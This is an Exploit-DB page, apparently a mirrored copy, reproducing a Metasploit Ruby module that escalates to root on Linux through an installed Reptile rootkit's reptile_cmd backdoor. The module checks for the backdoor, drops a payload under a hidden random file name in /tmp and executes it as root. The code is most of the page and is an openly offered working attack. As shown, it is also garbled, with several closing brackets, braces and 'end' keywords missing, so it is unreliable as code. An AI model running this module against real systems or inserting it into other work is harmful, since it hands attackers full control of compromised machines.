Reptile Rootkit – reptile_cmd Privilege Escalation (Metasploit)

Exploit Database
106 阅读

作者： Metasploit

日期： 2019-12-30
类别：
- local
平台：
- linux
来源：https://www.exploit-db.com/exploits/47804/

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# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Local

Rank = ExcellentRanking

include Msf::Post::File

include Msf::Post::Linux::Priv

include Msf::Post::Linux::System

include Msf::Exploit::EXE

include Msf::Exploit::FileDropper

def initialize(info = {})

super(update_info(info,

'Name' => 'Reptile Rootkit reptile_cmd Privilege Escalation',

'Description'=> %q{

This module uses Reptile rootkit's <code>reptile_cmd</code> backdoor executable

to gain root privileges using the <code>root</code> command.

This module has been tested successfully with Reptile from <code>master

branch (2019-03-04) on Ubuntu 18.04.3 (x64) and Linux Mint 19 (x64).

'License'=> MSF_LICENSE,

'Author' =>

[

'f0rb1dd3n', # Reptile

'bcoles' # Metasploit

'DisclosureDate' => '2018-10-29', # Reptile first stable release

'References' =>

[

['URL', 'https://github.com/f0rb1dd3n/Reptile'],

['URL', 'https://github.com/f0rb1dd3n/Reptile/wiki/Usage']

'Platform' => ['linux'],

'Arch' => [ARCH_X86, ARCH_X64],

'SessionTypes' => ['shell', 'meterpreter'],

'Targets'=> [['Auto', {}]],

'Notes'=>

{

'Reliability' => [ REPEATABLE_SESSION ],

'Stability' => [ CRASH_SAFE ]

'DefaultTarget'=> 0))

register_options [

OptString.new('REPTILE_CMD_PATH', [true, 'Path to reptile_cmd executable', '/reptile/reptile_cmd'])

]

register_advanced_options [

OptBool.new('ForceExploit', [false, 'Override check result', false]),

OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])

]

end

def reptile_cmd_path

datastore['REPTILE_CMD_PATH']

end

def base_dir

datastore['WritableDir'].to_s

end

def upload(path, data)

print_status "Writing '#{path}' (#{data.size} bytes) ..."

rm_f path

write_file path, data

register_file_for_cleanup path

end

def upload_and_chmodx(path, data)

upload path, data

chmod path

end

def check

unless executable? reptile_cmd_path

vprint_error "#{reptile_cmd_path} is not executable"

return CheckCode::Safe

end

vprint_good "#{reptile_cmd_path} is executable"

res = cmd_exec("echo id|#{reptile_cmd_path} root").to_s.strip

vprint_status "Output: #{res}"

if res.include?('You have no power here!')

vprint_error 'Reptile kernel module is not loaded'

return CheckCode::Safe

end

unless res.include?('root')

vprint_error 'Reptile is not installed'

return CheckCode::Safe

end

vprint_good 'Reptile is installed and loaded'

CheckCode::Vulnerable

end

def exploit

unless check == CheckCode::Vulnerable

unless datastore['ForceExploit']

fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'

end

print_warning 'Target does not appear to be vulnerable'

end

if is_root?

unless datastore['ForceExploit']

fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'

end

unless writable? base_dir

fail_with Failure::BadConfig, "#{base_dir} is not writable"

end

payload_name = ".#{rand_text_alphanumeric 8..12}"

payload_path = "#{base_dir}/#{payload_name}"

upload_and_chmodx payload_path, generate_payload_exe

print_status 'Executing payload...'

res = cmd_exec "echo '#{payload_path}&' | #{reptile_cmd_path} root & echo "

vprint_line res

end